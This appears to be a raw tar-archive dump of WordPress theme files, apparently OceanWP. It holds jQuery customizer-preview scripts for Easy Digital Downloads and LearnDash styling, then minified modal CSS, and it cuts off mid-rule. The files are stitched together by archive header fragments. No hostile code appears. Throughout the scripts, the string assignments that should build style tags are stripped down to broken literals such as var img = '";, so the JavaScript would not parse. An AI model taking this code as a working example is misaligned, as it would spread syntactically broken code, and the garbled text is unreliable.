$(".customizer-ocean_edd_image_mobile_top_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_image_mobile_right_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_image_mobile_right_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_image_mobile_bottom_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_image_mobile_bottom_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_image_mobile_left_margin", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_image_mobile_left_margin"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_top_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_top_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_right_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_right_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_bottom_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_bottom_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_left_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_left_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_tablet_top_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_tablet_top_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_tablet_right_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_tablet_right_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_tablet_bottom_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_tablet_bottom_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_tablet_left_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_tablet_left_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_mobile_top_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_mobile_top_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_mobile_right_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_mobile_right_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_mobile_bottom_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_mobile_bottom_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_mobile_left_border_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_mobile_left_border_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_top_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_top_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_right_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_right_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_bottom_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_bottom_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_left_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_left_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_tablet_top_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_tablet_top_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_tablet_right_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_tablet_right_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_tablet_bottom_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_tablet_bottom_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_tablet_left_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_tablet_left_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_mobile_top_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_mobile_top_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_mobile_right_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_mobile_right_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_mobile_bottom_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_mobile_bottom_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_mobile_left_border_radius", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_mobile_left_border_radius"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }) , api("ocean_edd_background_color", function($swipe) { $swipe.bind(function(size) { $(".edd_downloads_list .edd_download_inner").css("background-color", size); }); }), api("ocean_edd_border_color", function($swipe) { $swipe.bind(function(size) { $(".edd_downloads_list .edd_download_inner").css("border-color", size); }); }), api("ocean_edd_category_color", function($swipe) { $swipe.bind(function(size) { $(".edd_downloads_list .edd_download_inner .edd_download_categories a").css("color", size); }); }), api("ocean_edd_category_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_category_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_title_color", function($swipe) { $swipe.bind(function(size) { $(".edd_downloads_list .edd_download_inner .edd_download_title a").css("color", size); }); }), api("ocean_edd_title_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_product_title_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_entry_price_color", function($swipe) { $swipe.bind(function(size) { $(".edd_downloads_list .edd_download_inner span.edd_price").css("color", size); }); }), api("ocean_edd_entry_addtocart_bg_color", function($swipe) { $swipe.bind(function(size) { $(".edd_downloads_list .edd_download_inner .button").css("background-color", size); }); }), api("ocean_edd_entry_addtocart_bg_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_entry_addtocart_bg_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_entry_addtocart_color", function($swipe) { $swipe.bind(function(size) { $(".edd_downloads_list .edd_download_inner .button").css("color", size); }); }), api("ocean_edd_entry_addtocart_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_entry_addtocart_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_entry_addtocart_border_color", function($swipe) { $swipe.bind(function(size) { $(".edd_downloads_list .edd_download_inner .button").css("border-color", size); }); }), api("ocean_edd_entry_addtocart_border_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_entry_addtocart_border_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api('ocean_edd_entry_addtocart_border_style', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_edd_entry_addtocart_border_style'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api('ocean_edd_entry_addtocart_border_size', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_edd_entry_addtocart_border_size'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api('ocean_edd_entry_addtocart_border_radius', function(value) { value.bind(function(to) { var $child = $('.customizer-ocean_edd_entry_addtocart_border_radius'); if (to) { var style = ''; if ($child.length) { $child.replaceWith(style); } else { $('head').append(style); } } else { $child.remove(); } }); }), api("ocean_single_edd_title_color", function($swipe) { $swipe.bind(function(size) { $(".single-download .edd-download .edd_download_title").css("color", size); }); }), api("ocean_single_edd_description_color", function($swipe) { $swipe.bind(function(size) { $('.single-download .edd-download .edd_download_content').css("color", size); }); }), api("ocean_edd_checkout_titles_color", function($swipe) { $swipe.bind(function(size) { $('#edd_checkout_form_wrap legend').css("color", size); }); }), api("ocean_edd_checkout_titles_border_bottom_color", function($swipe) { $swipe.bind(function(size) { $('#edd_checkout_form_wrap legend').css("border-bottom-color", size); }); }), api("ocean_edd_checkout_borders_color", function($swipe) { $swipe.bind(function(size) { $('#edd_checkout_cart th, #edd_checkout_cart td, #edd_checkout_form_wrap #edd-discount-code-wrap, #edd_checkout_form_wrap #edd_final_total_wrap, #edd_checkout_form_wrap #edd_show_discount').css("border-color", size); }); }), api("ocean_edd_checkout_label_color", function($swipe) { $swipe.bind(function(size) { $('#edd_checkout_form_wrap .edd-label').css("color", size); }); }), api("ocean_edd_checkout_description_color", function($swipe) { $swipe.bind(function(size) { $('#edd_checkout_form_wrap .edd-description').css("color", size); }); }), api("ocean_edd_checkout_head_bg", function($swipe) { $swipe.bind(function(size) { $('#edd_checkout_cart .edd_cart_header_row th, .edd-table tr th').css("background-color", size); }); }), api("ocean_edd_checkout_head_titles_color", function($swipe) { $swipe.bind(function(size) { $('#edd_checkout_cart .edd_cart_header_row th, .edd-table tr th').css("color", size); }); }), api("ocean_edd_checkout_totals_table_titles_color", function($swipe) { $swipe.bind(function(size) { $('#edd_checkout_cart th.edd_cart_total').css("color", size); }); }), api("ocean_edd_checkout_remove_button_color", function($swipe) { $swipe.bind(function(size) { $('#edd_checkout_cart a.edd_cart_remove_item_btn').css("color", size); }); }), api("ocean_edd_checkout_remove_button_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_checkout_remove_button_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_cart_dropdown_bg", function($swipe) { $swipe.bind(function(to) { $(".edd-menu-icon .current-shop-items-dropdown").css("background-color", to); }); }), api("ocean_edd_cart_dropdown_borders", function($swipe) { $swipe.bind(function(to) { $(".edd-menu-icon .current-shop-items-dropdown .widget_edd_cart_widget li").css("border-color", to); }); }), api("ocean_edd_cart_dropdown_title_color", function($swipe) { $swipe.bind(function(to) { $(".current-shop-items-dropdown .widget_edd_cart_widget li .edd-cart-item-title").css("color", to); }); }), api("ocean_edd_cart_dropdown_price_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_cart_dropdown_price_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_cart_dropdown_remove_link_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_cart_dropdown_remove_link_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_cart_dropdown_remove_link_color_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_cart_dropdown_remove_link_color_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_cart_dropdown_subtotal_bg", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_cart_dropdown_subtotal_bg"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_cart_dropdown_subtotal_border_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_cart_dropdown_subtotal_border_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_cart_dropdown_subtotal_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_cart_dropdown_subtotal_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_cart_dropdown_total_price_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_cart_dropdown_total_price_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_cart_dropdown_checkout_button_bg", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_cart_dropdown_checkout_button_bg"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_cart_dropdown_checkout_button_bg_hover", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_cart_dropdown_checkout_button_bg_hover"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_cart_dropdown_checkout_button_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_cart_dropdown_checkout_button_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_cart_dropdown_checkout_button_hover_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_cart_dropdown_checkout_button_hover_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_cart_dropdown_width", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_cart_dropdown_width"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_menu_bag_icon_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_menu_bag_icon_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_menu_bag_icon_hover_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_menu_bag_icon_hover_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_menu_bag_icon_count_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_menu_bag_icon_count_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }), api("ocean_edd_menu_bag_icon_hover_count_color", function($swipe) { $swipe.bind(function(to) { var $child = $(".customizer-ocean_edd_menu_bag_icon_hover_count_color"); if (to) { /** @type {string} */ var img = '"; if ($child.length) { $child.replaceWith(img); } else { $("head").append(img); } } else { $child.remove(); } }); }); } )( jQuery );customizer/assets/js/ld-customize-preview.min.js000064400000013207151551031110016100 0ustar00!function(o){var e=wp.customize;e("ocean_ld_global_both_sidebars_content_width",function(e){e.bind(function(e){var s=o(".customizer-ocean_ld_global_both_sidebars_content_width");e?(e='",s.length?s.replaceWith(e):o("head").append(e)):s.remove()})}),e("ocean_ld_global_both_sidebars_sidebars_width",function(e){e.bind(function(e){var s=o(".customizer-ocean_ld_global_both_sidebars_sidebars_width");e?(e='",s.length?s.replaceWith(e):o("head").append(e)):s.remove()})}),e("ocean_ld_course_both_sidebars_content_width",function(e){e.bind(function(e){var s=o(".customizer-ocean_ld_course_both_sidebars_content_width");e?(e='",s.length?s.replaceWith(e):o("head").append(e)):s.remove()})}),e("ocean_ld_course_both_sidebars_sidebars_width",function(e){e.bind(function(e){var s=o(".customizer-ocean_ld_course_both_sidebars_sidebars_width");e?(e='",s.length?s.replaceWith(e):o("head").append(e)):s.remove()})}),e("ocean_ld_lesson_both_sidebars_content_width",function(e){e.bind(function(e){var s=o(".customizer-ocean_ld_lesson_both_sidebars_content_width");e?(e='",s.length?s.replaceWith(e):o("head").append(e)):s.remove()})}),e("ocean_ld_lesson_both_sidebars_sidebars_width",function(e){e.bind(function(e){var s=o(".customizer-ocean_ld_lesson_both_sidebars_sidebars_width");e?(e='",s.length?s.replaceWith(e):o("head").append(e)):s.remove()})}),e("ocean_ld_heading_color",function(e){e.bind(function(e){o("#learndash_lessons #lesson_heading, #learndash_profile .learndash_profile_heading, #learndash_quizzes #quiz_heading, #learndash_lesson_topics_list div > strong").css("color",e)})}),e("ocean_ld_heading_bg_color",function(e){e.bind(function(e){o("#learndash_lessons #lesson_heading, #learndash_profile .learndash_profile_heading, #learndash_quizzes #quiz_heading, #learndash_lesson_topics_list div > strong").css("background-color",e)})}),e("ocean_ld_item_color",function(e){e.bind(function(e){o("#lessons_list > div h4 a, #course_list > div h4 a, #quiz_list > div h4 a, .learndash_topic_dots a, .learndash_topic_dots a > span, #learndash_lesson_topics_list span a").css("color",e)})}),e("ocean_ld_item_hover_color",function(e){e.bind(function(e){var s=o(".customizer-ocean_ld_item_hover_color");e?(e='",s.length?s.replaceWith(e):o("head").append(e)):s.remove()})}),e("ocean_ld_complete_color",function(e){e.bind(function(e){o(".learndash_navigation_lesson_topics_list .topic-completed span:before, .learndash_navigation_lesson_topics_list ul .topic-completed span:before, .learndash_topic_dots .topic-completed span:before, .learndash_topic_dots ul .topic-completed span:before, .learndash .completed:before, #learndash_profile .completed:before").css("color",e)})}),e("ocean_ld_incomplete_color",function(e){e.bind(function(e){o(".learndash_navigation_lesson_topics_list .topic-notcompleted span:before, .learndash_navigation_lesson_topics_list ul .topic-notcompleted span:before, .learndash_topic_dots .topic-notcompleted span:before, .learndash_topic_dots ul .topic-notcompleted span:before, .learndash .notcompleted:before, #learndash_profile .notcompleted:before").css("color",e)})}),e("ocean_ld_progressbar_color",function(e){e.bind(function(e){o("dd.course_progress div.course_progress_blue").css("color",e)})})}(jQuery);customizer/assets/js/customize-search.css000064400000472556151551031110014701 0ustar00body .modal{position:fixed;top:0;left:0;z-index:1055;display:none;width:100%;height:100%;overflow-x:hidden;overflow-y:auto;outline:0}body .modal-dialog{position:relative;width:auto;margin:.5rem;pointer-events:none}.modal.fade body .modal-dialog{transition:transform 0.3s ease-out;transform:translate(0, -50px)}@media (prefers-reduced-motion: reduce){.modal.fade body .modal-dialog{transition:none}}.modal.show body .modal-dialog{transform:none}.modal.modal-static body .modal-dialog{transform:scale(1.02)}body .modal-dialog-scrollable{height:calc(100% - 1rem)}body .modal-dialog-scrollable .modal-content{max-height:100%;overflow:hidden}body .modal-dialog-scrollable .modal-body{overflow-y:auto}body .modal-dialog-centered{display:flex;align-items:center;min-height:calc(100% - 1rem)}body .modal-content{position:relative;display:flex;flex-direction:column;width:100%;pointer-events:auto;background-color:#fff;background-clip:padding-box;border:1px solid rgba(0,0,0,0.2);border-radius:.3rem;outline:0}body .modal-backdrop{position:fixed;top:0;left:0;z-index:1050;width:100vw;height:100vh;background-color:#000}body .modal-backdrop.fade{opacity:0}body .modal-backdrop.show{opacity:.5}body .modal-header{display:flex;flex-shrink:0;align-items:center;justify-content:space-between;padding:1rem 1rem;border-bottom:1px solid #dee2e6;border-top-left-radius:calc(.3rem - 1px);border-top-right-radius:calc(.3rem - 1px)}body .modal-header .btn-close{padding:.5rem .5rem;margin:-.5rem -.5rem -.5rem auto}body .modal-title{margin-bottom:0;line-height:1.5}body .modal-body{position:relative;flex:1 1 auto;padding:1rem}body .modal-footer{display:flex;flex-wrap:wrap;flex-shrink:0;align-items:center;justify-content:flex-end;padding:.75rem;border-top:1px solid #dee2e6;border-bottom-right-radius:calc(.3rem - 1px);border-bottom-left-radius:calc(.3rem - 1px)}body .modal-footer>*{margin:.25rem}@media (min-width: 576px){body .modal-dialog{max-width:500px;margin:1.75rem auto}body .modal-dialog-scrollable{height:calc(100% - 3.5rem)}body .modal-dialog-centered{min-height:calc(100% - 3.5rem)}body .modal-sm{max-width:300px}}@media (min-width: 992px){body .modal-lg,body .modal-xl{max-width:800px}}@media (min-width: 1200px){body .modal-xl{max-width:1140px}}body .modal-fullscreen{width:100vw;max-width:none;height:100%;margin:0}body .modal-fullscreen .modal-content{height:100%;border:0;border-radius:0}body .modal-fullscreen .modal-header{border-radius:0}body .modal-fullscreen .modal-body{overflow-y:auto}body .modal-fullscreen .modal-footer{border-radius:0}@media (max-width: 575.98px){body .modal-fullscreen-sm-down{width:100vw;max-width:none;height:100%;margin:0}body .modal-fullscreen-sm-down .modal-content{height:100%;border:0;border-radius:0}body .modal-fullscreen-sm-down .modal-header{border-radius:0}body .modal-fullscreen-sm-down .modal-body{overflow-y:auto}body .modal-fullscreen-sm-down .modal-footer{border-radius:0}}@media (max-width: 767.98px){body .modal-fullscreen-md-down{width:100vw;max-width:none;height:100%;margin:0}body .modal-fullscreen-md-down .modal-content{height:100%;border:0;border-radius:0}body .modal-fullscreen-md-down .modal-header{border-radius:0}body .modal-fullscreen-md-down .modal-body{overflow-y:auto}body .modal-fullscreen-md-down .modal-footer{border-radius:0}}@media (max-width: 991.98px){body .modal-fullscreen-lg-down{width:100vw;max-width:none;height:100%;margin:0}body .modal-fullscreen-lg-down .modal-content{height:100%;border:0;border-radius:0}body .modal-fullscreen-lg-down .modal-header{border-radius:0}body .modal-fullscreen-lg-down .modal-body{overflow-y:auto}body .modal-fullscreen-lg-down .modal-footer{border-radius:0}}@media (max-width: 1199.98px){body .modal-fullscreen-xl-down{width:100vw;max-width:none;height:100%;margin:0}body .modal-fullscreen-xl-down .modal-content{height:100%;border:0;border-radius:0}body .modal-fullscreen-xl-down .modal-header{border-radius:0}body .modal-fullscreen-xl-down .modal-body{overflow-y:auto}body .modal-fullscreen-xl-down .modal-footer{border-radius:0}}@media (max-width: 1399.98px){body .modal-fullscreen-xxl-down{width:100vw;max-width:none;height:100%;margin:0}body .modal-fullscreen-xxl-down .modal-content{height:100%;border:0;border-radius:0}body .modal-fullscreen-xxl-down .modal-header{border-radius:0}body .modal-fullscreen-xxl-down .modal-body{overflow-y:auto}body .modal-fullscreen-xxl-down .modal-footer{border-radius:0}}body .badge{display:inline-block;padding:.35em .65em;font-size:.75em;font-weight:700;line-height:1;color:#fff;text-align:center;white-space:nowrap;vertical-align:baseline;border-radius:.25rem}body .badge:empty{display:none}body .btn .badge{position:relative;top:-1px}body .modal{z-index:99999999999 !important}body li.ocean-control-focused{box-shadow:4px 0px 0px #eee, -10px 0px 0px #06214e}body .modal-backdrop{z-index:99999999999;background:#f3f2f6 !important}#ocean-wp-customize-search *,#ocean-wp-customize-search *::before,#ocean-wp-customize-search *::after,.ocean-customize-search-modal *,.ocean-customize-search-modal *::before,.ocean-customize-search-modal *::after{box-sizing:border-box}@media (prefers-reduced-motion: no-preference){#ocean-wp-customize-search :root,.ocean-customize-search-modal :root{scroll-behavior:smooth}}#ocean-wp-customize-search body,.ocean-customize-search-modal body{margin:0;font-family:var(--bs-body-font-family);font-size:var(--bs-body-font-size);font-weight:var(--bs-body-font-weight);line-height:var(--bs-body-line-height);color:var(--bs-body-color);text-align:var(--bs-body-text-align);background-color:var(--bs-body-bg);-webkit-text-size-adjust:100%;-webkit-tap-highlight-color:rgba(0,0,0,0)}#ocean-wp-customize-search hr,.ocean-customize-search-modal hr{margin:1rem 0;color:inherit;background-color:currentColor;border:0;opacity:.25}#ocean-wp-customize-search hr:not([size]),.ocean-customize-search-modal hr:not([size]){height:1px}#ocean-wp-customize-search h1,#ocean-wp-customize-search .h1,#ocean-wp-customize-search h2,#ocean-wp-customize-search .h2,#ocean-wp-customize-search h3,#ocean-wp-customize-search .h3,#ocean-wp-customize-search h4,#ocean-wp-customize-search .h4,#ocean-wp-customize-search h5,#ocean-wp-customize-search .h5,#ocean-wp-customize-search h6,#ocean-wp-customize-search .h6,.ocean-customize-search-modal #ocean-wp-customize-search h1,#ocean-wp-customize-search .ocean-customize-search-modal h1,.ocean-customize-search-modal h1,.ocean-customize-search-modal #ocean-wp-customize-search .h1,#ocean-wp-customize-search .ocean-customize-search-modal .h1,.ocean-customize-search-modal .h1,.ocean-customize-search-modal #ocean-wp-customize-search h2,#ocean-wp-customize-search .ocean-customize-search-modal h2,.ocean-customize-search-modal h2,.ocean-customize-search-modal #ocean-wp-customize-search .h2,#ocean-wp-customize-search .ocean-customize-search-modal .h2,.ocean-customize-search-modal .h2,.ocean-customize-search-modal #ocean-wp-customize-search h3,#ocean-wp-customize-search .ocean-customize-search-modal h3,.ocean-customize-search-modal h3,.ocean-customize-search-modal #ocean-wp-customize-search .h3,#ocean-wp-customize-search .ocean-customize-search-modal .h3,.ocean-customize-search-modal .h3,.ocean-customize-search-modal #ocean-wp-customize-search h4,#ocean-wp-customize-search .ocean-customize-search-modal h4,.ocean-customize-search-modal h4,.ocean-customize-search-modal #ocean-wp-customize-search .h4,#ocean-wp-customize-search .ocean-customize-search-modal .h4,.ocean-customize-search-modal .h4,.ocean-customize-search-modal #ocean-wp-customize-search h5,#ocean-wp-customize-search .ocean-customize-search-modal h5,.ocean-customize-search-modal h5,.ocean-customize-search-modal #ocean-wp-customize-search .h5,#ocean-wp-customize-search .ocean-customize-search-modal .h5,.ocean-customize-search-modal .h5,.ocean-customize-search-modal #ocean-wp-customize-search h6,#ocean-wp-customize-search .ocean-customize-search-modal h6,.ocean-customize-search-modal h6,.ocean-customize-search-modal #ocean-wp-customize-search .h6,#ocean-wp-customize-search .ocean-customize-search-modal .h6,.ocean-customize-search-modal .h6{margin-top:0;margin-bottom:.5rem;font-weight:500;line-height:1.2}#ocean-wp-customize-search h1,#ocean-wp-customize-search .h1,.ocean-customize-search-modal h1,.ocean-customize-search-modal #ocean-wp-customize-search .h1,#ocean-wp-customize-search .ocean-customize-search-modal .h1,.ocean-customize-search-modal .h1{font-size:calc(1.375rem + 1.5vw)}@media (min-width: 1200px){#ocean-wp-customize-search h1,#ocean-wp-customize-search .h1,.ocean-customize-search-modal h1,.ocean-customize-search-modal #ocean-wp-customize-search .h1,#ocean-wp-customize-search .ocean-customize-search-modal .h1,.ocean-customize-search-modal .h1{font-size:2.5rem}}#ocean-wp-customize-search h2,#ocean-wp-customize-search .h2,.ocean-customize-search-modal h2,.ocean-customize-search-modal #ocean-wp-customize-search .h2,#ocean-wp-customize-search .ocean-customize-search-modal .h2,.ocean-customize-search-modal .h2{font-size:calc(1.325rem + .9vw)}@media (min-width: 1200px){#ocean-wp-customize-search h2,#ocean-wp-customize-search .h2,.ocean-customize-search-modal h2,.ocean-customize-search-modal #ocean-wp-customize-search .h2,#ocean-wp-customize-search .ocean-customize-search-modal .h2,.ocean-customize-search-modal .h2{font-size:2rem}}#ocean-wp-customize-search h3,#ocean-wp-customize-search .h3,.ocean-customize-search-modal h3,.ocean-customize-search-modal #ocean-wp-customize-search .h3,#ocean-wp-customize-search .ocean-customize-search-modal .h3,.ocean-customize-search-modal .h3{font-size:calc(1.3rem + .6vw)}@media (min-width: 1200px){#ocean-wp-customize-search 